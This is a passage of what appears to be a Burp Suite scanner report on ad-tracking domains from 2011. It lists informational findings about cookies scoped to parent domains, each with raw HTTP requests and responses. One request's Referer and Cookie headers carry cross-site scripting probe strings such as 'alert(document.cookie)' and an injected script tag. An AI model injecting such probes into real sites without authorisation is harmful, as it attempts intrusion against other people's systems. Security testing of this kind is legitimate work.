Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
Set-Cookie: clid=2lebnns011706ch47d7o8wtv1udrf01110040609208; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
Set-Cookie: orblb=2lfk1rn0225810u020lxik0hlmv2dh10u0100000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
Set-Cookie: rdrlst=4150o2ylebnns00000011100407dpletz4d0000000x100410e5lg1nei0000000710040mmnlebnns00000011100410rdlg1vir0000000610040x1blebnns0000001110040xo1lebnns0000001110040eh5lf17qf0000000t100406bylemlne0000000z10040w3clebnns00000011100407gmlebnns0000001110040jv6lebnns0000001110040j4ilew2e20000000v10040xthlebnns0000001110040fullf8gij0000000p100410f6lg1nei0000000710041196lfzx0l00000008100400c9lfk1rn0000000m10040jillebnns0000001110041194lg3y5y0000000510040fuqlegh2b0000001010040b6mlf17qk0000000s10040mz1lebnns0000001110040cajlfk1rn0000000m10040p7vlebnns00000011100407vglfk1rn0000000m10040xvslebnns0000001110041192lg5l2h00000004100410ellg1nei0000000710040xuklebnns0000001110040jk7lebnns0000001110040x1jlebnns0000001110040yiplebnns0000001110040cbnlfk1rn0000000m10040xwflebnns0000001110040yh0lebnns00000011100410telg60j60000000210020e4vlebnns00000011100410e9lg1nei0000000710040xwblebnns0000001110040jwblfk1rn0000000m1004; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
Set-Cookie: sglst=2140s8dtletz4d0pqa500a0l00040010061gletz4d0pqa500a0l000400100a70lebnns181qq00e0l0004001005b0lf17qo0000000r1004060920882gletz4d0pqa500a0l000400100ag2leqh191fkdy00y1004060920882hlebnns1ucve00z100006002009zdlebnns181qq00e0l0004001005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei0mb4o00n10040609208820lebnns181qq00e0l000400100b0olfjpei0mb4o00n10040609208ab4lebnns1ucve011100406092089szlebnns1ucve011100406092088wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b1pkcw01010040609208al1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l000400100b0clfjpei0mb4o00n100406092088bgletz4d0pqa500a0l0004001007y2lebnns181qq00e0l0004001005q8lebnns1ucve00k10000600200b08lfjpei0mb4o00n1004060920840slebnns181qq00e0l0004001003s4letz4d0pqa500a0l000400100ah4lebnns181qq00e0l000400100a97lebnns181qq00e0l00040010045mlfdxmc0000000o1004060920840uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns1ucve00g100206022029atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
Location: http://www.googleadservices.com/pagead/conversion/1030881291/?label=Ad-QCIPSuQEQi4DI6wM&guid=ON&script=0
Content-Length: 0
Date: Sat, 05 Feb 2011 22:35:30 GMT

14.107. http://imp.constantcontact.com/imp/cmp.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://imp.constantcontact.com
Path:	/imp/cmp.jsp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

impcc="IMP_14302119028236362=21615745|"; expires=Fri, 06-May-2011 22:25:47 GMT; path=/; domain=.constantcontact.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /imp/cmp.jsp?impcc=IMP_14302119028236362&o=http://img.constantcontact.com/lp/images/standard/spacer.gif HTTP/1.1
Host: imp.constantcontact.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=152702054.1587922762.1296507889.1296507889.1296507889.1; __utmz=152702054.1296507889.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/4|utmcmd=referral; s_vi=[CS]v1|26A391E7851D22E2-6000012E00000902[CE]; CPl200502=888%7C888%7C888%7CNULL%7Cundefined%7Chttp%253A%252F%252Fburp%252Fshow%252F4%7C%252Findex%252Ejsp; ctctblog=1%3A%3A21608566; mbox=PC#1296507860629-664024.17#1304290028|check#true#1296514088|session#1296514003373-10289#1296515888; offer_temp=""; cclp_split="sc_01=201010_BL10867_LeadN::Control experience|sc_01_ts=21608566|"; cclp_content="lp_uid=20110131_16:03:36.930_3E7AC43C835249A7CF0A0478AC67E07D.worker_landingPages|"; cclp_partner="prt_02=partner.name::ROVING|prt_01=partner.name::NATSEARCH|prt_01_ts=21608463|prt_02_ts=21608566|"; cclp_cc="cc_01_ts=21608463|cc_02_ts=21584010|cc_03_ts=21604387|cc_03=impcc::IMP_14302119028289011|cc_02=impcc::IMP_14302119028231881|cc_01=cc::googb7706-alert(document.cookie)-40dab7f5b0f|"; cclp_nsearch="ns_01_ts=21608463|ns_01=goog::b7706-alert(document.cookie)-40dab7f5b0f|"; cclp_referral="partner=NATSEARCH|impcc=IMP_14302119028289011|cc=IMP_14302119028289011|sitereferrer=http://blogs.constantcontact.com/commentary?fd5af%22%3E%3Cscript%3Ealert(1)%3C/script%3E776bfc826f5=1|partner.name=ROVING|pn=ROVING|"

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Fri, 07 Sep 2007 15:01:23 GMT
ETag: "b95c5-2b-4398ce98736c0"
Accept-Ranges: bytes
Content-Length: 43
X-Powered-By:
Content-Type: image/gif
Cookie: "IMP_1430293015671252=21400210|IMP_14302119028250221=21609811|IMP_14302119028250220=21609730|IMP_14302119028250222=21609705|IMP_14302119028250221=21607469|"
IMPCC_COOKIE_NEW: IMP_14302119028250220=21609730|IMP_14302119028250222=21609705|IMP_14302119028250221=21607469|
IMPCC_COOKIE: IMP_14302119028250220=21609730|IMP_14302119028250222=21609705|IMP_14302119028250221=21607469|
PREFIX_IMPCC: IMP_
IMPCC: IMP_14302119028250221
Cookie: "IMP_14302119028289011=21610280|"
IMPCC_COOKIE_NEW:
PREFIX_IMPCC: IMP_
IMPCC: IMP_14302119028289011
Cookie: "IMP_14302119028289011=21611712|"
IMPCC_COOKIE_NEW:
PREFIX_IMPCC: IMP_
IMPCC: IMP_14302119028289011
Expires: Sat, 05 Feb 2011 22:25:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 05 Feb 2011 22:25:47 GMT
Connection: close
Set-Cookie: impcc="IMP_14302119028236362=21615745|"; expires=Fri, 06-May-2011 22:25:47 GMT; path=/; domain=.constantcontact.com
Cookie: "IMP_14302119028236362=21615745|"
IMPCC_COOKIE_NEW:
PREFIX_IMPCC: IMP_
IMPCC: IMP_14302119028236362

GIF89a.............!.......,...........D..;

14.108. http://leadback.advertising.com/adcedge/lb previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://leadback.advertising.com
Path:	/adcedge/lb

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

C2=3+cTNJpwIg02F9BCdbdRfgwUwX0HI8Y4F9BCYTeRfgQ3gZ0HIQTnG9BCF2pRfgAohX0HIYZ4F9BCKGeRfgwohX0HIca4F9BCiGeRfgQshX0HRC5BkDdhGL7YAwAoG11r1JQcKa0QGKWAI9Yx8N53CkL3FQ0gPPw6TVAasuGB/0mh1ca7FIaWGKRrMWw41Z8HkqVB6bjhfq6bBwWZG17r4bQsMaoOwanBW8oh60I9GsfzFwzsNaQQoawXs2jB1xmxx6KzHUyhGwsp4jgaVZUWySHAlBqRT4KVIYGgGlVs+AA8Ua0EyOHAhBqRTI7dAEHoGNErvgwNsZAc; domain=advertising.com; expires=Mon, 04-Feb-2013 22:31:19 GMT; path=/
GUID=MTI5Njk0NTA3OTsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; domain=advertising.com; expires=Mon, 04-Feb-2013 22:31:19 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adcedge/lb?site=695501&srvc=1&betr=39060_NDM_cs=tagvalue&betq=11311=420919 HTTP/1.1
Host: leadback.advertising.com
Proxy-Connection: keep-alive
Referer: http://www.owneriq.com/ownership-targeting?src=728x90_blue
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ACID=Bc330012940999670074; aceRTB=rm=Sun, 06 Mar 2011 19:31:17 GMT|am=Sun, 06 Mar 2011 19:31:17 GMT|dc=Sun, 06 Mar 2011 19:31:17 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; GUID=MTI5NjkxNzUyNjsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; C2=2dWTNJpwIg02FWDCdbdh1gwUwXYNI8Y4FWDCYTeh1gQ3gZYNIQTnGWDCF2ph1gAohXYNIYZ4FWDCKGeh1gwohXYNIca4FWDCiGeh1gQshXYNRC5BkDdxcL7YAwAoGO3r1JQcKaYWGKWAI9YBTO53CkL3Fp1gPPw6TVkfsuGB/0mxLda7FIaWGjSrMWw41ZgNkqVB6bjx1q6bBwWZGO9r4bQsMaMUwanBW8oxQ1I9GsfzFJ1sNaQQoaUds2jB1xmBI7KzHUyhGJup4jgaVZ4bySHAlBqhp4KVIYGgG+Ws+AA8UaYKyOHAhBqhpI7dAEHoGmF; F1=Bg5ZN1EBAAAABAAAAQAAgEA; BASE=YnQIw8MmSf+Tkd8dWtaeW84rjjGaJlmvQDh5gB4INGhgqyeE2hX/3YWcFU+yQrMIvnyW7WqTRB0KmqQ/Bw31Ai99Olekp3KbTCY6Hcz3dkGhJ9sRouHZQnZFf264SgioQ63Tlv7fQeZ/MdF9vTkG04AAgW50nlreFyoGRSpu37msX+jQLx6DVzg0GiS7C+fmMlxM6WkfUJE/jZpxX9BVxb4NY6Bt+8HJjfPTnrX+YEI5U8ZjkNfo+ItYJvKGpR4RUa0dXReYyzQpxRA2o3puqGCbuiUAjLdfLbZkb0ehAjiNHPbW7aQ/l8C1FAzyv+l6iXS0VVSgNUKupn3qdes1byPz6HZxkJMDmZdPvgtllPoBe0tFpazRzM6rSRksfxhrPz5M5pJJtm/KXQNQ7rIa/ZcvMwjSuOO0V4u4UyiBOr868nAkimb4kuiPI6EuPQQEioI0acaoq0TOTxGN1Dyc8slydSMH9KF18QKVsBUXOKbwTDzUKPzbf4wBORYCjhMJH19G+54N1ZyXnV1z4b4OfC5tdEiBbtwwGNupEAetICCpOvbxjp50QA8Gj3sDtziP8hByFBn7T8rVo5wGxEyQNQG!; ROLL=v5Q2Q0MzE2zqVBGrCMc3X5z2fuIiXWOzT9fCbWM!

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:31:19 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV
Set-Cookie: C2=3+cTNJpwIg02F9BCdbdRfgwUwX0HI8Y4F9BCYTeRfgQ3gZ0HIQTnG9BCF2pRfgAohX0HIYZ4F9BCKGeRfgwohX0HIca4F9BCiGeRfgQshX0HRC5BkDdhGL7YAwAoG11r1JQcKa0QGKWAI9Yx8N53CkL3FQ0gPPw6TVAasuGB/0mh1ca7FIaWGKRrMWw41Z8HkqVB6bjhfq6bBwWZG17r4bQsMaoOwanBW8oh60I9GsfzFwzsNaQQoawXs2jB1xmxx6KzHUyhGwsp4jgaVZUWySHAlBqRT4KVIYGgGlVs+AA8Ua0EyOHAhBqRTI7dAEHoGNErvgwNsZAc; domain=advertising.com; expires=Mon, 04-Feb-2013 22:31:19 GMT; path=/
Set-Cookie: GUID=MTI5Njk0NTA3OTsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; domain=advertising.com; expires=Mon, 04-Feb-2013 22:31:19 GMT; path=/
Set-Cookie: DBC=; domain=advertising.com; expires=Thu, 01-Jan-1970 00:00:00 GMT; path=/
Cache-Control: private, max-age=3600
Expires: Sat, 05 Feb 2011 23:31:19 GMT
Content-Type: image/gif
Content-Length: 49

GIF89a...................!.......,...........T..;

14.109. http://load.exelator.com/load/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://load.exelator.com
Path:	/load/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

xltl=eJxLtDKyqi62MrZSCvV0UbIGsoyslEwSE02STSwtzRPNU03MkiwsktMMUpItzCzSkgwtTFMNwOqslHyCnJWsM60MTSzNDQ1MTK1rASUAFEE%253D; expires=Sun, 05-Jun-2011 22:25:32 GMT; path=/; domain=.exelator.com
myPAL=eJylkstOw0AMRf%252Bls52F7Xl4Jl0FIqRKJIISULcsu2YJ%252FDv2TB4tqgqCVV7nnnhsvzbIzfuxge1bQ9xs0Mdscs5oELyBCGaUm17e0GZ7bFCxqBiHCWMwACgYw0zRIluoSzInmC%252ByFAyl4DhbB8QSIh%252BKtb0Z7W54sfv%252BYG%252Fve9t2B0365QeJr%252FwgrFg6wVLFxhmLgmE6xQjA%252BBSNfuWLEoQqeZ4lSbEqmRvITs5A5onAS90fgMpl4WLR5dIbbzMxBLQEBEEfHMZ6kTa42oaulbN3j8Nou91wZ7Ur0o0yEB1cjH%252FyqWpu7tRYxP%252Fp2odBVVLhvuh0Ezx%252B010zlFRZDLem8DxVazkfecnpWrj0U06HG5DKcDGsEf5lJK7VXYmUJZmqk1N9fgFco7yt; expires=Wed, 06-Apr-2011 22:25:32 GMT; path=/; domain=.exelator.com
BFF=eJztlM1OwzAQhN8lT%252BCfOI7dS1OqikhNgNat4IR65MwR%252Bu6s3SRdu2uJoB65fjMeO%252FF6TrYU9uvTcmYLx1nZLY0xolh8WF7WegGCtEX31LvH7dv7sd23rlicrKpzayoDa9TAEYq8EgnGc81QhFaAywtGxCc0K7cUtZLaDCf0ggwcgdEpmdBaJULbH8kI4ISTjNh1r2QEcMLJ4Xu1IAQy%252B2HbkdnACScZ0ayJbBk4dorxQqLtdCRFMRpdo8NjUl%252Bv3CE0xiRXFkvRDjXa4ZDZ4ZDzSiyAeS9YCZ%252F8zbhXq0EdZ%252FGqYkFMQrpGTwqCMLvrZhtGurxgM8yux4h440vvKCPgxNj2G8oIGJFxxo3QTPE4IbwSJpiKcRitBI9zTsWEl0L4%252FexS%252FvAs8n7Jq5yQHNT%252Ffiqoee5vN5aBJwFgJAPW9Mmb1e7GH1plhwP49GDS6EHZRIq%252BzuxmQme6CbXKN2G29%252BbX3PxWo0osur%252Ffl9j8zrpzRd25j%252F5aPvmOydRJpjwyVfFfDPftgfnP%252FvwDMTU0HA%253D%253D; expires=Sun, 05-Jun-2011 22:25:32 GMT; path=/; domain=.exelator.com
TFF=eJydlktywyAMhu%252BSE0gILCAbH6PbLLLoTHftLpO7lyQ2uBI4chceGOb%252F0MOS7EsOkG%252FfGV0%252BIfgZJphTSu50vmSXb58Zz%252BXxKZQFntspne9Kjw89Cb0rj%252BS4YjairOCFkhdl1HdfP65fl5%252BrvHslCHthMMwA2AubmzNlq%252FUybF6DQMFxxWxEWRmMdz98cj6MYogthvjS%252B6Z3MRAn4VPUljSJKRG7%252F5AEjjlYSa6gjShnPli9Wos4dos%252BtgIrW61XHkVtJ26LPsqiHxLPdwow%252BzjtW3La1MIZkXIIMGgXnAYJQDiWsEV%252FNGEFO5IwZCp14rqepaZPHb3yLGk7dX69MBvxaGQy3v1sEtpprzojfSVTGwFUR4A3cxuLyTGE4RwnSVIjHTiQ%252FTwG%252F5oklIVqdZZwaFOSXEEbUc4oHPCqfgh348F35DAeRVIjd5OvwGWsBOxWfW38bupXrhukmVS%252BDklqZDfIEciVM5tax9Tg54ebnjv6YRpRcn7D7abxLTnMhiKpkbtplCBXzkbcfwGeWpTs; expires=Sun, 05-Jun-2011 22:25:32 GMT; path=/; domain=.exelator.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /load/?p=104&g=160&j=j HTTP/1.1
Host: load.exelator.com
Proxy-Connection: keep-alive
Referer: http://c03.adsummos.net/a/e/s21719
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: EVX=eJyNyjsOgCAQRdG9sIL5ZuCxmAkltaVh76KWNuZWNzkDinNCqmu0PsD3UT%252FAFYWtekaKeRJx7kpfE0oS4T9xkyDnL24P1hdb6sbrAgq5JDk%253D; BFF=eJztlM1OwzAQhN8lT%252BCfOI6dS1MqRKQmQOpWcEI9cuYIvDtrN0nX7lqiqEeu30zGSbw7R1ty%252B%252FlhObOF46zsV8YYUTTvlpe1bkCQtugfB%252FewfX07dLvOFc3Rqir3TGXgGTVxhCKvRILxXDMUoRXg8oQR8Qnt2q1EraQ20xt6QQaOwOyUTGitEqEbDmQEcMJJRoz9CxkBnHBy%252BF4tCIHMvtv2ZDZwwklGtBsiWwaOnWK%252BkOg4HUlRjEbX6PCY1OcrdwjNMcmVxVJ0Qo1O2GdO2Oe8Egtg3glWwid%252FMe7ValLnWTyrWBCLkD6jFwVBmN1Nuw0jXZ6wmWbXY0S88XlwlBFwYuyGe8oIGJF5xo3QTPE4IWwJE0zFOIxWguc5p2LCphB%252BP7uUP6xF3i95lROSF%252FW%252Fnwpqn4bLg2XgSQAYyYAN%252Febterzwh1YZcQBfFiayftPlplW%252B3LJVdn1zXV9UVC9FV%252FL7Xrq%252Bhm7cOjeumL%252F2Sb42Mg2R6YPM9v%252Fv%252Bm1XO7vJP5xXI9Y%253D; xltl=eJxLtDKyqi62MrZSCvV0UbIGsoyslEwSE02STSwtzRPNU03MkiwsktMMUpItzCzSkgwtTFMNwOqslHyCnJWsM60MTSzNDUwtjK1rASUdFEc%253D; myPAL=eJylkstOwzAQRf%252Bl3noxM36M7a4CEVIlEkEJqFuWXbME%252Fp0Zu2laVBUEq7zOPXbu%252BLVgLO%252F7Auu3QlxW6GM2OWc0CN5ABDPJzSBvaLXeF1QsKsbhgDEYABSMYaboKDtSl2ROMF9lKRhKwXG2DoglRD5Ua3cz2c34YrfDzt7eD7brd5r0xwUSX1kgLFg6wVLDphmLgmE6xQjA%252BBSNfuWLEoQmeZ4lSbEmmQtkJ%252F9A5onAy74%252FAJXLwsWqy7UbbzMxBLQEBEEfHMZ2kRpcq6Hv5N%252F7x3Gy%252FWa8s9qKtFEHooOL8U8%252BVc3lHopF%252FJ%252BuexhVJTvcVp2eBI%252FfdNcMNVUPhltSeJ5qezkfec3psXDpp5wONyDV4WJYIvybyOcXUsKxDg%253D%253D; TFF=eJydlT1uwzAMhe%252BSE%252FBHMiVl8TG6ZshQoFu7Bbl7ZceRElFy6Q6GDeF94iNDMpfkXLp9J6R0QnAzTDDHGOl0viRKt8%252BE5%252Fy46PML1s8pnu9Kj4ueGz3lp%252BWkYDYiv8ENlKLvvn5cvy4%252F1%252FZu2QiGXhoCMwD20pZqJn9qfZu2PK1hw0nBbER%252BCxjvXjyR86McQs0hPPSu6il4lth4CjqSJjFGFvoPyUAi3kpKAW1EPnPe6urZxKHb9CFUfejolaOg44TXpg9t0w%252BJ9TcFmF2Y9iORDrVxRiQfAgzGBadBARCOFWzTHy1Yxo4UDIVzn1DXWaz62NErZ1HHKfvrgdmIZZDZePc6JLwzXmXzuULGugK4rABn5l4iRhLwwz3OLcmVJCBo53kMvodkbBvVapZxGLMlpYA2Ip%252BxP%252BCq%252FBHu5oN%252FkcN8FMmV3C2%252BAre14rHb9WXwu6V%252Fct0kzaTyOiS5kt0kR6AUzkbcfwHLoUO%252F

Response

HTTP/1.1 200 OK
Connection: close
X-Powered-By: PHP/5.2.8
P3P: policyref=/w3c/p3p.xml, CP=NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA
Content-Type: application/json
Set-Cookie: xltl=eJxLtDKyqi62MrZSCvV0UbIGsoyslEwSE02STSwtzRPNU03MkiwsktMMUpItzCzSkgwtTFMNwOqslHyCnJWsM60MTSzNDQ1MTK1rASUAFEE%253D; expires=Sun, 05-Jun-2011 22:25:32 GMT; path=/; domain=.exelator.com
Set-Cookie: myPAL=eJylkstOw0AMRf%252Bls52F7Xl4Jl0FIqRKJIISULcsu2YJ%252FDv2TB4tqgqCVV7nnnhsvzbIzfuxge1bQ9xs0Mdscs5oELyBCGaUm17e0GZ7bFCxqBiHCWMwACgYw0zRIluoSzInmC%252ByFAyl4DhbB8QSIh%252BKtb0Z7W54sfv%252BYG%252Fve9t2B0365QeJr%252FwgrFg6wVLFxhmLgmE6xQjA%252BBSNfuWLEoQqeZ4lSbEqmRvITs5A5onAS90fgMpl4WLR5dIbbzMxBLQEBEEfHMZ6kTa42oaulbN3j8Nou91wZ7Ur0o0yEB1cjH%252FyqWpu7tRYxP%252Fp2odBVVLhvuh0Ezx%252B010zlFRZDLem8DxVazkfecnpWrj0U06HG5DKcDGsEf5lJK7VXYmUJZmqk1N9fgFco7yt; expires=Wed, 06-Apr-2011 22:25:32 GMT; path=/; domain=.exelator.com
Set-Cookie: BFF=eJztlM1OwzAQhN8lT%252BCfOI7dS1OqikhNgNat4IR65MwR%252Bu6s3SRdu2uJoB65fjMeO%252FF6TrYU9uvTcmYLx1nZLY0xolh8WF7WegGCtEX31LvH7dv7sd23rlicrKpzayoDa9TAEYq8EgnGc81QhFaAywtGxCc0K7cUtZLaDCf0ggwcgdEpmdBaJULbH8kI4ISTjNh1r2QEcMLJ4Xu1IAQy%252B2HbkdnACScZ0ayJbBk4dorxQqLtdCRFMRpdo8NjUl%252Bv3CE0xiRXFkvRDjXa4ZDZ4ZDzSiyAeS9YCZ%252F8zbhXq0EdZ%252FGqYkFMQrpGTwqCMLvrZhtGurxgM8yux4h440vvKCPgxNj2G8oIGJFxxo3QTPE4IbwSJpiKcRitBI9zTsWEl0L4%252FexS%252FvAs8n7Jq5yQHNT%252Ffiqoee5vN5aBJwFgJAPW9Mmb1e7GH1plhwP49GDS6EHZRIq%252BzuxmQme6CbXKN2G29%252BbX3PxWo0osur%252Ffl9j8zrpzRd25j%252F5aPvmOydRJpjwyVfFfDPftgfnP%252FvwDMTU0HA%253D%253D; expires=Sun, 05-Jun-2011 22:25:32 GMT; path=/; domain=.exelator.com
Set-Cookie: TFF=eJydlktywyAMhu%252BSE0gILCAbH6PbLLLoTHftLpO7lyQ2uBI4chceGOb%252F0MOS7EsOkG%252FfGV0%252BIfgZJphTSu50vmSXb58Zz%252BXxKZQFntspne9Kjw89Cb0rj%252BS4YjairOCFkhdl1HdfP65fl5%252BrvHslCHthMMwA2AubmzNlq%252FUybF6DQMFxxWxEWRmMdz98cj6MYogthvjS%252B6Z3MRAn4VPUljSJKRG7%252F5AEjjlYSa6gjShnPli9Wos4dos%252BtgIrW61XHkVtJ26LPsqiHxLPdwow%252BzjtW3La1MIZkXIIMGgXnAYJQDiWsEV%252FNGEFO5IwZCp14rqepaZPHb3yLGk7dX69MBvxaGQy3v1sEtpprzojfSVTGwFUR4A3cxuLyTGE4RwnSVIjHTiQ%252FTwG%252F5oklIVqdZZwaFOSXEEbUc4oHPCqfgh348F35DAeRVIjd5OvwGWsBOxWfW38bupXrhukmVS%252BDklqZDfIEciVM5tax9Tg54ebnjv6YRpRcn7D7abxLTnMhiKpkbtplCBXzkbcfwGeWpTs; expires=Sun, 05-Jun-2011 22:25:32 GMT; path=/; domain=.exelator.com
Date: Sat, 05 Feb 2011 22:25:32 GMT
Server: HTTP server
Content-Length: 18

{"service": "off"}

14.110. http://map.media6degrees.com/orbserv/hbpix previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://map.media6degrees.com
Path:	/orbserv/hbpix

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

acs=015020a0e0f0g1lebnnsxzt11udrfxzt11txepxzt11txepxzt11udrf; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
clid=2lebnns011706ch47d7o8wtv1udrf01010030608207; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
orblb=2lfk1rn0225810u020lxik0hlmv2dh10u0100000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
rdrlst=41507dpletz4d0000000w10030o2ylebnns0000001010030mmnlebnns00000010100310e5lg1nei00000006100310rdlg1vir0000000510030xo1lebnns0000001010030x1blebnns0000001010030eh5lf17qf0000000s100306bylemlne0000000y10030w3clebnns00000010100307gmlebnns0000001010030jv6lebnns0000001010030j4ilew2e20000000u10030xthlebnns0000001010030fullf8gij0000000o100310f6lg1nei0000000610031196lfzx0l00000007100300c9lfk1rn0000000l10030jillebnns0000001010031194lg3y5y0000000410030fuqlegh2b0000000z10030b6mlf17qk0000000r10030mz1lebnns0000001010030cajlfk1rn0000000l10030p7vlebnns00000010100307vglfk1rn0000000l10031192lg5l2h0000000310030xvslebnns00000010100310ellg1nei0000000610030xuklebnns0000001010030x1jlebnns0000001010030jk7lebnns0000001010030cbnlfk1rn0000000l10030yiplebnns00000010100310telg61f70000000110010yh0lebnns0000001010030xwflebnns0000001010030e4vlebnns00000010100310e9lg1nei0000000610030jwblfk1rn0000000l10030xwblebnns000000101003; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
sglst=2140s8dtletz4d0pqa500a0l000400100a70lebnns181qq00e0l00040010061gletz4d0pqa500a0l0004001005b0lf17qo0000000q10030608207ag2leqh191fkdy00x1003060820782gletz4d0pqa500a0l0004001009zdlebnns181qq00e0l00040010082hlebnns1udrf00z100006002005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei0mc0p00m10030608207820lebnns181qq00e0l000400100b0olfjpei0mc0p00m10030608207ab4lebnns1udrf010100306082079szlebnns1udrf010100306082078wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b1pkcw00z10030608207al1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l0004001005q8lebnns1udrf00k100006002007y2lebnns181qq00e0l0004001008bgletz4d0pqa500a0l000400100b0clfjpei0mc0p00m10030608207b08lfjpei0mc0p00m1003060820740slebnns181qq00e0l00040010045mlfdxmc0000000n10030608207a97lebnns181qq00e0l000400100ah4lebnns181qq00e0l0004001003s4letz4d0pqa500a0l00040010040uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns1udrf00f100106012019atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
vstcnt=3lebnns030r034nssk122m1boph1c4wn1bw2l1bw321bw2o1bw501bw3n1bw4o1bw3c1bw301bw5f1bw4e1bw381bw3l1bw2m1bw2c1bw351bw481bw2v1bw4h1bw4x1bw4b1bw361bw3z1bw4f1bw4w1bw4g1bw331bw431bw2q1bw4z1bw2b1bw441bw2r1bw5e1bw3f1bw521bw3p1bw5a1bw311bw4r1bw5d1bw5j1bw421bw2p1bw3x1bw5g1bw2i1bw4a1bw3b1bw531bw4p1bw3q1bw541bw3r1bw4q1bw4j1bw461bw2t1bw3m1bw4y1bw4s1bw2z1bw4c1bw2k1bw3v1bw4i1bw4t1bw3a1bw451bw2s1bw2j1bw4n1bw3e1bw591bw3w1bw401bw2n1bw3u1bw341bw4u1bw3k1bw491bw2w1bw5b1bw561bw3t1bw511bw551bw3s1bw471bw2u1bw5i1bw4l3ik5120o0keqa0pk2n0kh4a0kh3u0kh490kh3s0kh3t0kh3m0kh3a0kh3y0kh3j0kh3h0kh390kh3x0kh3v0kh4b0kh3d0kh3f0kh3r0kh3l0kh430kh3g0kh3p0kh3z4jaec12011udrf1l034e206123s181qq1845a1847x1845b1847u1847e1847k1847y1843w1844k184621845j1844p184551843s1847h1846q1844z184871846u184571843u18486184741846t1846l1845r1842z185k81848f1844n1844d184781846a1845v1846j1846k184801845s1843g1847a1843d184841846r1845y1844l1847i1847r1847p184541843r1845i1844y1844r1842x184811846o1844u1844s1847b1843k1843n1848a1845q1845n1845c1842t1844j1845e1845g184821846p184301847f1844c1847t1843c1843j1848b1847z1842u1843p184851846s1845f1845h18435184371846b1843o1845m1847s1848g1844g184561843t1847c1847g1843f1844a